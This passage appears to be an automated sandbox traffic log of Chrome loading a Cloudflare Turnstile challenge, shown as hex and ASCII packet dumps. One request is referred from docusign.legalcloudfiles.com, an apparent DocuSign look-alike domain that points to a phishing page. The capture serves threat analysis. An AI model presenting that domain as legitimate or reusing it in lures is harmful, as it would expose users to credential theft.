2025-01-14 16:23:12 UTC	1369	IN	Data Raw: 62 58 33 64 69 6f 6f 73 75 74 71 2b 71 7a 39 63 50 72 78 71 7a 58 75 4e 50 59 76 64 50 69 36 74 44 5a 2b 65 4c 36 2b 2f 33 6f 77 2f 66 31 36 2b 7a 6e 34 4d 30 49 44 68 50 69 46 4f 6b 43 38 41 58 75 48 52 2f 35 46 79 49 65 46 50 73 59 48 51 6e 79 34 42 67 68 36 69 63 4c 49 51 67 47 43 78 30 54 42 7a 51 79 4a 53 7a 31 44 66 55 59 2f 44 4d 33 41 45 49 51 4f 41 2f 34 4a 42 34 67 49 77 6f 65 4b 67 5a 52 4c 69 77 79 4d 69 34 2f 4e 30 74 4d 54 6a 77 34 4d 6b 59 36 55 30 77 36 4e 78 78 42 49 6b 64 45 4f 6b 5a 43 58 32 68 64 52 7a 31 4b 58 46 42 41 4d 55 52 57 4c 30 70 59 59 30 64 4b 62 56 39 63 55 59 46 68 65 48 42 76 62 31 5a 33 51 47 71 4e 67 47 70 70 58 6c 46 36 61 45 31 69 69 6f 43 5a 63 5a 74 32 6a 6e 71 47 66 6c 6c 74 58 48 6c 63 65 57 43 45 6d 6f 47 70 68 Data Ascii: bX3dioosutq+qz9cPrxqzXuNPYvdPi6tDZ+eL6+/3ow/f16+zn4M0IDhPiFOkC8AXuHR/5FyIeFPsYHQny4Bgh6icLIQgGCx0TBzQyJSz1DfUY/DM3AEIQOA/4JB4gIwoeKgZRLiwyMi4/N0tMTjw4MkY6U0w6NxxBIkdEOkZCX2hdRz1KXFBAMURWL0pYY0dKbV9cUYFheHBvb1Z3QGqNgGppXlF6aE1iioCZcZt2jnqGflltXHlceWCEmoGph
2025-01-14 16:23:12 UTC	1369	IN	Data Raw: 77 34 65 57 2b 77 50 44 58 78 4d 33 54 2b 74 4f 2b 74 64 4f 39 2f 41 48 36 32 38 58 30 33 50 53 38 34 73 76 6a 33 66 7a 66 30 4d 54 52 41 2b 55 53 31 67 48 55 48 4e 72 61 37 68 37 6e 45 64 34 66 48 75 4c 39 4b 50 73 61 38 2f 51 41 2b 41 41 71 47 67 55 74 2f 66 76 79 37 2f 55 31 4c 54 72 73 4b 76 6f 39 2f 54 2f 36 2f 50 68 43 41 44 45 47 4e 55 6f 49 52 78 51 2b 47 45 31 4b 53 56 4a 54 45 30 38 69 57 42 64 47 4d 46 59 62 52 52 6b 70 57 55 41 74 4e 6a 78 6a 50 43 63 65 50 43 5a 6c 61 57 4e 45 4c 6c 31 46 58 53 56 4c 4e 45 78 47 5a 55 67 35 4c 54 70 72 54 6e 31 36 56 46 6d 45 63 6d 42 63 69 49 4b 4a 69 6f 74 4c 53 6b 69 4b 57 49 6c 4b 6b 5a 52 4d 61 6d 4b 56 68 70 70 4e 68 58 42 62 61 70 31 77 6f 33 4b 52 6c 6c 78 79 6c 32 4f 70 59 59 4f 70 61 61 2b 71 61 6d Data Ascii: w4eW+wPDXxM3T+tO+tdO9/AH628X03PS84svj3fzf0MTRA+US1gHUHNra7h7nEd4fHuL9KPsa8/QA+AAqGgUt/fvy7/U1LTrsKvo9/T/6/PhCADEGNUoIRxQ+GE1KSVJTE08iWBdGMFYbRRkpWUAtNjxjPCcePCZlaWNELl1FXSVLNExGZUg5LTprTn16VFmEcmBciIKJiotLSkiKWIlKkZRMamKVhppNhXBbap1wo3KRllxyl2OpYYOpaa+qam
2025-01-14 16:23:12 UTC	1369	IN	Data Raw: 30 50 72 50 75 74 50 39 76 72 4b 34 42 4d 4c 39 31 41 66 47 76 74 6b 4d 39 51 4c 6c 78 65 4c 72 36 42 4c 53 42 75 63 58 45 68 4c 77 30 65 38 61 39 42 72 7a 33 76 67 6a 44 68 72 39 4b 43 49 69 2f 69 76 72 39 75 51 77 4b 6a 49 46 4d 79 34 69 43 54 63 7a 42 41 38 37 4a 52 67 55 50 79 72 36 47 6b 51 59 4e 68 6c 47 42 77 63 68 52 69 41 4c 48 6c 42 4c 48 43 63 4b 4b 42 4d 71 57 42 63 4c 45 56 78 47 47 7a 46 65 48 31 59 33 47 6a 68 57 50 68 34 37 52 44 39 73 56 6d 35 42 62 31 70 71 52 6e 4e 65 61 6b 31 79 54 44 4e 4e 66 44 74 32 56 6e 39 36 66 6c 4b 45 51 33 6b 39 69 48 4b 43 59 6b 4a 67 52 32 47 51 69 6f 4a 71 6c 47 64 77 61 6b 35 73 68 6d 36 62 57 35 4a 31 6e 6d 42 73 63 5a 35 34 59 33 65 6e 5a 36 71 41 72 4a 5a 6e 67 72 43 44 6a 49 61 30 6e 34 43 4d 75 4c 4b Data Ascii: 0PrPutP9vrK4BML91AfGvtkM9QLlxeLr6BLSBucXEhLw0e8a9Brz3vgjDhr9KCIi/ivr9uQwKjIFMy4iCTczBA87JRgUPyr6GkQYNhlGBwchRiALHlBLHCcKKBMqWBcLEVxGGzFeH1Y3GjhWPh47RD9sVm5Bb1pqRnNeak1yTDNNfDt2Vn96flKEQ3k9iHKCYkJgR2GQioJqlGdwak5shm6bW5J1nmBscZ54Y3enZ6qArJZngrCDjIa0n4CMuLK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49777	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:23:12 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/427550357:1736867636:Hrl0drLFPAO-Ioo5MdhbNq5JwydQFL51g-oXKOylUNU/901ef7f939e87c7b/Z5aISIW_TSn9ba9pF6og4BMGRFTNjYoaFF0Otno7.Gc-1736871786-1.1.1.1-CLzlNdn4WtHbHgAVgTnC_5ne1ArYaE733E2dAdhgXBgpDRodqZaBSvZm0.NEEf76 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:23:12 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 14 Jan 2025 16:23:12 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: ud8MSpDQQWP1MRvYaObbQrOTeEuj6iAR9heM22OiAxCi6teOnshZwecyIM5zV1iJ3qKyY59ev/ImvjpFRd5xNw==$/HUhrCpGu3vLP6VwBu+I5w== Server: cloudflare CF-RAY: 901ef8212928efa5-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:23:12 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	51387	104.18.94.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:12 UTC	808	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://docusign.legalcloudfiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:12 UTC	1362	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26891 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-14 16:25:12 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 31 65 66 62 30 66 37 66 31 62 35 65 35 66 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 901efb0f7f1b5e5f-EWRalt-svc: h3=":443"; ma=86400
2025-01-14 16:25:12 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-14 16:25:12 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-14 16:25:12 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-14 16:25:12 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-14 16:25:12 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-14 16:25:12 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-14 16:25:12 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-14 16:25:12 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-14 16:25:12 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	51388	104.18.94.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:13 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901efb0f7f1b5e5f&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:13 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:13 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 117124 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901efb13ebc4180d-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:13 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fc
2025-01-14 16:25:13 UTC	1369	IN	Data Raw: 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 64 6f 6d 61 69 6e 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 74 75 63 6b 25 32 30 68 65 72 65 25 33 46 22 2c 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 22 3a 22 59 6f 75 72 25 32 30 64 65 76 Data Ascii: fully%20submitted","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_footer_privacy":"Privacy","turnstile_overrun_description":"Stuck%20here%3F","time_check_cached_warning":"Your%20dev
2025-01-14 16:25:13 UTC	1369	IN	Data Raw: 2c 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 66 30 2c 66 31 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 32 31 36 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 33 39 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 34 37 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 38 34 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 35 33 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 30 36 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 34 33 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 Data Ascii: ,fY,ga,gg,gh,gi,gs,gD,gH,f0,f1){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(216))/1(parseInt(gI(1239))/2)+parseInt(gI(1147))/3(-parseInt(gI(984))/4)+parseInt(gI(1153))/5(parseInt(gI(1506))/6)+-parseInt(gI(543))/7(-parseInt(
